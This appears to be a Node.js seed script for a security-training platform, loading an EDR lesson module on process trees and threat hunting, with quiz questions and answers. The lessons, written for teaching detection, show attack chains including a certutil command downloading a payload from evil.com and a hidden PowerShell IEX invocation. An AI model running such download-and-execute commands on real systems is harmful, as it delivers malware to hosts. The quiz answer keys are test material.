const db = require('../db');

const overview = {
    id: 24,
    title: 'EDR Concepts',
    description: 'Master Endpoint Detection & Response: Telemetry, Process Trees, and Threat Hunting.',
    learning_path_id: 3
};

const tasks = [
    { id: 241, title: 'What is EDR?' },
    { id: 242, title: 'EDR vs Antivirus' },
    { id: 243, title: 'The Process Tree (Deep Dive)' },
    { id: 244, title: 'Reading Process Ancestry' },
    { id: 245, title: 'Suspicious Parent-Child Relationships' },
    { id: 246, title: 'EDR Market Leaders' },
    { id: 247, title: 'Final Quiz' }
];

const lessons = {
    241: {
        content: `# What is EDR?

**EDR (Endpoint Detection and Response)** monitors activities on endpoints (laptops, servers) to detect and respond to threats.

## Key Capabilities
1.  **Telemetry Collection**: Logs process creation, file writes, registry changes, network connections, etc.
2.  **Threat Detection**: Uses signatures + behavior analysis to flag malicious activity.
3.  **Investigation Tools**: Lets you query the endpoint in real time ("Show me all processes connecting to IP X").
4.  **Response Actions**: Isolate a machine from the network, kill a process, quarantine a file.

## The "Black Box Recorder"
Think of EDR as a flight recorder for your computers. If an incident happens, you can "rewind time" and see exactly what the attacker did.

## Where does it sit?
*   **Agent**: A lightweight program installed on each endpoint.
*   **Cloud Console**: Where the analyst views alerts and hunts for threats.`,
        questions: [
            ['What does EDR primarily monitor?', 'Endpoint activities (Processes, Files, Network)', 'Endpoint', ['Network traffic only', 'Endpoint activities (Processes, Files, Network)', 'Server hardware', 'Cloud storage']],
            ['What is a key "Response" capability of EDR?', 'Isolating a machine from the network', 'Containment', ['Sending email alerts', 'Isolating a machine from the network', 'Writing reports', 'Installing updates']],
            ['Where does the EDR Agent run?', 'On each endpoint (laptop/server)', 'Client side', ['In the cloud', 'On the firewall', 'On each endpoint (laptop/server)', 'In a SIEM']]
        ]
    },
    242: {
        content: `# EDR vs Antivirus

Both protect endpoints, but they are fundamentally different.

## Antivirus (AV)
*   **Method**: Signature-based. "Is this file hash on the bad list?"
*   **Action**: Block or Quarantine the file.
*   **Visibility**: Almost none. You know *something* was blocked.
*   **Weakness**: If the malware hash is new (Zero-Day), AV won't see it.

## EDR
*   **Method**: Behavior-based. "Did Word.exe just spawn PowerShell.exe and connect to Russia?" -> **Suspicious!**
*   **Action**: Alert, AND provide full context (process tree, command line, network connections).
*   **Visibility**: Deep. You can see *everything* the process did.
*   **Strength**: Can detect novel attacks based on behavior.

## The Evolution
Modern "Next-Gen AV" (NGAV) combines both: Static (Signatures) + Behavioral (EDR-like).`,
        questions: [
            ['What is the primary detection method for traditional Antivirus?', 'Signatures (File Hashes)', 'Hash', ['Behavior analysis', 'Signatures (File Hashes)', 'AI', 'Network scanning']],
            ['If malware uses a brand-new hash, what is this called?', 'Zero-Day', 'New', ['First-Day', 'Zero-Day', 'New Hash', 'Fresh Malware']],
            ['What does EDR provide that AV typically does not?', 'Full context and telemetry (Process Tree, etc.)', 'Visibility', ['A firewall', 'Full context and telemetry (Process Tree, etc.)', 'Email scanning', 'Physical security']]
        ]
    },
    243: {
        content: `# The Process Tree (Deep Dive)

This is the **most important concept** for an EDR analyst.

## What is a Process Tree?
A visual representation of which process started which other process.
\`\`\`
explorer.exe (User's Desktop)
  └── chrome.exe (User clicked Chrome)
        └── chrome.exe (Child process for a tab)
\`\`\`
This is **Normal**. The user clicked Chrome, so Explorer spawned Chrome.

## Why is it important?
The Process Tree tells you the **story** of an attack. It answers:
*   How did the malware get executed? (Was it a phishing doc? A browser exploit?)
*   What did the malware do next? (Spawn PowerShell? Connect outbound?)

## Analogy: A Family Tree
*   **Parent Process**: The process that started another.
*   **Child Process**: The process that was started.
*   **Grandparent**: The parent of the parent.

\`\`\`
winword.exe (Grandparent) -> cmd.exe (Parent) -> powershell.exe (Child)
\`\`\`
This sequence is **Highly Suspicious**. Word documents should not spawn command prompts.`,
        questions: [
            ['What does a Process Tree show?', 'Which process started which other process', 'Ancestry', ['Network connections', 'Which process started which other process', 'File locations', 'User logins']],
            ['In "explorer.exe -> chrome.exe", which is the Parent?', 'explorer.exe', 'Desktop', ['chrome.exe', 'explorer.exe', 'System', 'Neither']],
            ['Why is "winword.exe -> cmd.exe -> powershell.exe" suspicious?', 'Office apps should not spawn shells', 'Unexpected child', ['It is normal', 'Office apps should not spawn shells', 'PowerShell is fast', 'CMD is old']]
        ]
    },
    244: {
        content: `# Reading Process Ancestry

When you see an EDR alert, the first thing you should do is **check the process tree**.

## Normal Parent-Child Relationships
| Parent | Normal Child |
|--------|--------------|
| explorer.exe | Any user app (chrome, notepad) |
| services.exe | svchost.exe, spoolsv.exe |
| svchost.exe | Specific service processes |
| userinit.exe | explorer.exe (at login) |

## Suspicious Relationships
| Parent | Suspicious Child (Why?) |
|--------|-------------------------|
| winword.exe | cmd.exe, powershell.exe (Macros!) |
| excel.exe | wscript.exe (VBA script) |
| outlook.exe | powershell.exe (Attachment ran code) |
| wscript.exe / cscript.exe | powershell.exe, cmd.exe (Script execution) |
| iexplore.exe / chrome.exe | cmd.exe, rundll32.exe (Browser exploit) |

## The Command Line
Look at the **Command Line Arguments** of suspicious processes.
*   *Normal*: \`powershell.exe -Help\`
*   *Suspicious*: \`powershell.exe -EncodedCommand JABzAD0AbgBlAHcA...\` (Base64 encoded payload!)`,
        questions: [
            ['Which parent legitimately spawns svchost.exe?', 'services.exe', 'Services Manager', ['explorer.exe', 'word.exe', 'services.exe', 'chrome.exe']],
            ['If Excel spawns wscript.exe, what is the likely cause?', 'A malicious VBA Macro', 'Macro', ['A print job', 'A malicious VBA Macro', 'An update', 'Normal behavior']],
            ['What does "-EncodedCommand" in PowerShell indicate?', 'Base64-encoded script (often malicious)', 'Obfuscation', ['Help text', 'Fast mode', 'Base64-encoded script (often malicious)', 'Admin mode']]
        ]
    },
    245: {
        content: `# Suspicious Parent-Child Relationships

Let's see real attack patterns.

## Attack 1: The Phishing Document
\`\`\`
explorer.exe
  └── outlook.exe
        └── winword.exe (User opened attachment)
              └── cmd.exe
                    └── powershell.exe -enc JABz...
                          └── whoami.exe (Reconnaissance)
                          └── net.exe user (Account enumeration)
\`\`\`
**Verdict**: Phishing email -> Malicious Word Doc -> Macro -> Shell -> Recon.

## Attack 2: The Living-off-the-Land (LOLBAS)
\`\`\`
svchost.exe
  └── wmiprvse.exe (WMI execution)
        └── powershell.exe -nop -w hidden -c IEX ...
\`\`\`
**Verdict**: Attacker used WMI to execute PowerShell remotely. No malware dropped!

## Attack 3: Browser Exploit
\`\`\`
chrome.exe
  └── rundll32.exe
        └── cmd.exe /c certutil -urlcache -split -f http://evil.com/payload.exe
\`\`\`
**Verdict**: Chrome exploit, used rundll32 to launch cmd, downloaded malware via certutil (LOLBIN).`,
        questions: [
            ['In a phishing attack, which application typically spawns cmd.exe?', 'The Office application (Word/Excel)', 'Office', ['Explorer', 'The Office application (Word/Excel)', 'Chrome', 'Notepad']],
            ['What does "Living off the Land" mean?', 'Using built-in tools (PowerShell, WMI) instead of malware', 'No foreign tools', ['Farming', 'Using built-in tools (PowerShell, WMI) instead of malware', 'Using old malware', 'Running slowly']],
            ['Why is "certutil" used by attackers?', 'It can download files (LOLBIN)', 'Built-in downloader', ['It encrypts data', 'It can download files (LOLBIN)', 'It scans networks', 'It deletes logs']]
        ]
    },
    246: {
        content: `# EDR Market Leaders

## CrowdStrike Falcon
*   **Cloud-Native**: Agent sends telemetry to CrowdStrike cloud.
*   **Query Language**: CQL (CrowdStrike Query Language).
*   **Famous For**: Tracking APT groups (like Fancy Bear).

## Microsoft Defender for Endpoint (MDE)
*   **Integration**: Native on Windows, deep OS visibility.
*   **Query Language**: KQL (Kusto).
*   **Famous For**: Seamless integration with Sentinel SIEM.

## SentinelOne
*   **Autonomous**: Heavy focus on automatic remediation (rollback ransomware).
*   **Interface**: Storyline view (visual attack graph).

## Carbon Black (VMware)
*   **Strength**: Cloud workload protection.
*   **Query**: Custom query console.

## Elastic EDR
*   **Open Source core**: Built on ELK stack.
*   **Strength**: Highly customizable, integrates with SIEM.`,
        questions: [
            ['Which EDR is famous for APT tracking (e.g., Fancy Bear)?', 'CrowdStrike', 'Falcon', ['SentinelOne', 'CrowdStrike', 'Carbon Black', 'Elastic']],
            ['Which EDR is native to Windows and uses KQL?', 'Microsoft Defender for Endpoint', 'MDE', ['CrowdStrike', 'SentinelOne', 'Microsoft Defender for Endpoint', 'Carbon Black']],
            ['Which EDR can autonomously "rollback" ransomware damage?', 'SentinelOne', 'Autonomous', ['CrowdStrike', 'Carbon Black', 'SentinelOne', 'Elastic']]
        ]
    },
    247: {
        content: `# Final Quiz

Analyze the following Process Tree and answer.

\`\`\`
explorer.exe (PID: 1234)
  └── outlook.exe (PID: 5678)
        └── WINWORD.EXE (PID: 9012)
              └── cmd.exe (PID: 3456)
                    └── powershell.exe -enc JABzAD0AbmV3LW9iamVjdA...
                          └── whoami.exe
                          └── ipconfig.exe
                          └── net.exe user /domain
\`\`\``,
        questions: [
            // Based on Tree
            ['What is the Grandparent of powershell.exe?', 'WINWORD.EXE', 'Word', ['explorer.exe', 'outlook.exe', 'WINWORD.EXE', 'cmd.exe']],
            ['What is the likely initial attack vector?', 'A malicious email attachment (phishing)', 'Phishing', ['USB drive', 'A malicious email attachment (phishing)', 'Direct network attack', 'Insider']],
            ['What do whoami, ipconfig, net user suggest?', 'Reconnaissance / Discovery', 'Recon', ['Cleanup', 'Reconnaissance / Discovery', 'Data destruction', 'Patching']],
            ['The "-enc" flag in PowerShell indicates:', 'Base64-encoded command (obfuscation)', 'Hidden command', ['Encryption', 'Base64-encoded command (obfuscation)', 'Error logging', 'Network mode']],
            
            // General Knowledge
            ['What is the key difference between AV and EDR?', 'EDR provides visibility and behavior analysis', 'Telemetry', ['EDR is cheaper', 'EDR provides visibility and behavior analysis', 'AV is newer', 'AV blocks more']],
            ['Which process is the legitimate parent of svchost.exe?', 'services.exe', 'Service Controller', ['explorer.exe', 'winlogon.exe', 'services.exe', 'cmd.exe']]
        ]
    }
};

async function createModule24() {
    try {
        console.log('🚀 Creating Module 24: EDR Concepts...\n');

        console.log(`Processing Module ${overview.id}: ${overview.title}`);
        await db.query(`INSERT INTO modules (id, title, description, display_order, learning_path_id) VALUES (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), description = VALUES(description), learning_path_id = VALUES(learning_path_id)`, 
            [overview.id, overview.title, overview.description, 24, overview.learning_path_id]);

        for (const t of tasks) {
            await db.query(`INSERT INTO tasks (id, module_id, title, is_active, display_order) VALUES (?, ?, ?, 1, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), is_active=1`,
                [t.id, overview.id, t.title, t.id]);
        }

        let totalLessons = 0;
        for (const [idStr, lesson] of Object.entries(lessons)) {
            const taskId = parseInt(idStr);
            await db.query('DELETE FROM lesson_content WHERE task_id = ?', [taskId]);
            await db.query('DELETE FROM lesson_questions WHERE task_id = ?', [taskId]);

            await db.query('INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, ?, ?)',
                [taskId, lesson.content, 'markdown', 15]);

            for (let j = 0; j < lesson.questions.length; j++) {
                const q = lesson.questions[j];
                const options = q[3] ? JSON.stringify(q[3]) : null;
                await db.query('INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, options, case_sensitive) VALUES (?, ?, ?, ?, ?, ?, ?)',
                    [taskId, q[0], q[1], j + 1, q[2], options, 0]);
            }
            totalLessons++;
        }

        console.log(`\n✅ Module 24 (EDR) Created! (${totalLessons} lessons)\n`);
        process.exit(0);

    } catch (error) {
        console.error('Error:', error);
        process.exit(1);
    }
}

createModule24();

